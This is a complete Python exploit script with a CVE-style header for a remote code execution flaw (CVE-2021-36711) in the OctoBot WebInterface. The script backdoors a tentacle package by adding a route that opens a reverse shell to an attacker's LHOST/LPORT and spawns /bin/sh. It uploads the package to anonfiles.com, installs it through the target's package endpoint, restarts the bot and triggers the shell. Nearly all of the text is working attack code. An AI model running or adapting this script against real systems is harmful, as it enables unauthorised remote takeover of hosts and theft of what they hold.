OctoBot WebInterface 0.4.3 Remote Code Execution

# Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)# Date: 9/2/2021# Exploit Author: Samy Younsi, Thomas Knudsen# Vendor Homepage: https://www.octobot.online/# Software Link: https://github.com/Drakkar-Software/OctoBot# Version: 0.4.0beta3 - 0.4.3# Tested on: Linux (Ubuntu, CentOs)# CVE : CVE-2021-36711from __future__ import print_function, unicode_literalsfrom bs4 import BeautifulSoupimport argparseimport requestsimport zipfileimport timeimport sysimport osdef banner():  sashimiLogo = """                              _________         .    .                             (..       \_    ,  |\  /|                              \       O  \  /|  \ \/ /                               \______    \/ |   \  /                                   vvvv\    \ |   /  |  _         _  _     _            \^^^^  ==   \_/   | | |  __ _ | || |__ (_)_ __ ___ (_)`\_   ===    \.  |/ __)/ _` / __| '_ \| | '_ ` _ \| |/ /\_   \ /      |\__ | (_| \__ | | | | | | | | | | ||/   \_  \|      /(   /\__,_(   |_| |_|_|_| |_| |_|_|       \________/ |_|       |_|                       \033[1;91mOctoBot Killer\033[1;m                  Author: \033[1;92mNaqwada\033[1;m                         RuptureFarm 1029                      FOR EDUCATIONAL PURPOSE ONLY.     """  return print('\033[1;94m{}\033[1;m'.format(sashimiLogo))def help():  print('[!] \033[1;93mUsage: \033[1;m')  print('[-] python3 {} --RHOST \033[1;92mTARGET_IP\033[1;m --RPORT \033[1;92mTARGET_PORT\033[1;m --LHOST \033[1;92mYOUR_IP\033[1;m --LPORT \033[1;92mYOUR_PORT\033[1;m'.format(sys.argv[0]))  print('[-] \033[1;93mNote*\033[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')def getOctobotVersion(RHOST, RPORT):  if RPORT == 443:    url = 'https://{}:{}/api/version'.format(RHOST, RPORT)  else:    url = 'http://{}:{}/api/version'.format(RHOST, RPORT)  return curl(url) def restartOctobot(RHOST, RPORT):  if RPORT == 443:    url = 'https://{}:{}/commands/restart'.format(RHOST, RPORT)  else:    url = 'http://{}:{}/commands/restart'.format(RHOST, RPORT)    try:    requests.get(url, allow_redirects=False, verify=False, timeout=1)  except requests.exceptions.ConnectionError as e:     print('[+] \033[1;92mOctoBot is restarting ... Please wait 30 seconds.\033[1;m')    time.sleep(30)def downloadTentaclePackage(octobotVersion):  print('[+] \033[1;92mStart downloading Tentacle package for OctoBot {}.\033[1;m'.format(octobotVersion))  url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip'.format(octobotVersion)  result = requests.get(url, stream=True)  with open('{}.zip'.format(octobotVersion), 'wb') as fd:    for chunk in result.iter_content(chunk_size=128):        fd.write(chunk)  print('[+] \033[1;92mDownload completed!\033[1;m')def unzipTentaclePackage(octobotVersion):  zip = zipfile.ZipFile('{}.zip'.format(octobotVersion))  zip.extractall('quests')  os.remove('{}.zip'.format(octobotVersion))  print('[+] \033[1;92mTentacle package has been extracted.\033[1;m')def craftBackdoor(octobotVersion):  print('[+] \033[1;92mCrafting backdoor for Octobot Tentacle Package {}...\033[1;m'.format(octobotVersion))  path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/'  injectInitFile(path)  injectMetadataFile(path)  print('[+] \033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033[1;m'.format(octobotVersion))def injectMetadataFile(path):  with open('{}metadata.py'.format(path),'r') as metadataFile:    content = metadataFile.read()    addPayload = content.replace('import json', ''.join('import json\nimport flask\nimport sys, socket, os, pty'))    addPayload = addPayload.replace('@api.api.route("/announcements")', ''.join('@api.api.route("/sashimi")\ndef sashimi():\n\ts = socket.socket()\n\ts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n\tpty.spawn("/bin/sh")\n\n\[email protected]("/announcements")'))  with open('{}metadata.py'.format(path),'w') as newMetadataFile:    newMetadataFile.write(addPayload)def injectInitFile(path):  with open('{}__init__.py'.format(path),'r') as initFile:    content = initFile.read()    addPayload = content.replace('announcements,', ''.join('announcements,\n\tsashimi,'))    addPayload = addPayload.replace('"announcements",', ''.join('"announcements",\n\t"sashimi",'))  with open('{}__init__.py'.format(path),'w') as newInitFile:    newInitFile.write(addPayload)def rePackTentaclePackage():  print('[+] \033[1;92mRepacking Tentacle package.\033[1;m')  with zipfile.ZipFile('any_platform.zip', mode='w') as zipf:    len_dir_path = len('quests')    for root, _, files in os.walk('quests'):        for file in files:            file_path = os.path.join(root, file)            zipf.write(file_path, file_path[len_dir_path:])def uploadMaliciousTentacle():  print('[+] \033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033[1;m')  file = {      'file': open('any_platform.zip', 'rb'),  }  response = requests.post('https://api.anonfiles.com/upload', files=file, timeout=60)  zipLink = response.json()['data']['file']['url']['full']  response = requests.get(zipLink, timeout=60)  soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')  zipLink = soup.find(id='download-url').get('href')  print('[+] \033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033[1;m'.format(zipLink))  return zipLinkdef curl(url):  response = requests.get(url, allow_redirects=False, verify=False, timeout=60)  return responsedef injectBackdoor(RHOST, RPORT, zipLink):  print('[+] \033[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.\033[1;m')  if RPORT == 443:    url = 'https://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)  else:    url = 'http://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)   headers = {    'Content-Type': 'application/json',    'X-Requested-With': 'XMLHttpRequest',  }    data = '{"'+zipLink+'":"register_and_install"}'  response = requests.post(url, headers=headers, data=data)  response = response.content.decode('utf-8').replace('"', '').strip()    os.remove('any_platform.zip')    if response != 'Tentacles installed':    print('[!] \033[1;91mError: Something went wrong while trying to install the malicious Tentacle package.\033[1;m')    exit()  print('[+] \033[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\033[1;m')def execReverseShell(RHOST, RPORT, LHOST, LPORT):  print('[+] \033[1;92mExecuting reverse shell on {}:{}.\033[1;m'.format(LHOST, LPORT))  if RPORT == 443:    url = 'https://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)  else:    url = 'http://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)  return curl(url) def isPassword(RHOST, RPORT):  if RPORT == 443:    url = 'https://{}:{}'.format(RHOST, RPORT)  else:    url = 'http://{}:{}'.format(RHOST, RPORT)  return curl(url)  def main():  banner()  args = parser.parse_args()  if isPassword(args.RHOST, args.RPORT).status_code != 200:    print('[!] \033[1;91mError: This Octobot Platform seems to be protected with a password!\033[1;m')  octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode('utf-8').replace('"','').replace('OctoBot ','')  if len(octobotVersion) > 0:    print('[+] \033[1;92mPlatform OctoBot {} detected.\033[1;m'.format(octobotVersion))  downloadTentaclePackage(octobotVersion)  unzipTentaclePackage(octobotVersion)  craftBackdoor(octobotVersion)  rePackTentaclePackage()  zipLink = uploadMaliciousTentacle()  injectBackdoor(args.RHOST, args.RPORT, zipLink)  restartOctobot(args.RHOST, args.RPORT)  execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)if __name__ == "__main__":  parser = argparse.ArgumentParser(description='POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.', add_help=False)  parser.add_argument('-h', '--help', help=help())  parser.add_argument('--RHOST', help="Refers to the IP of the target machine.", type=str, required=True)  parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)  parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)  parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)  main()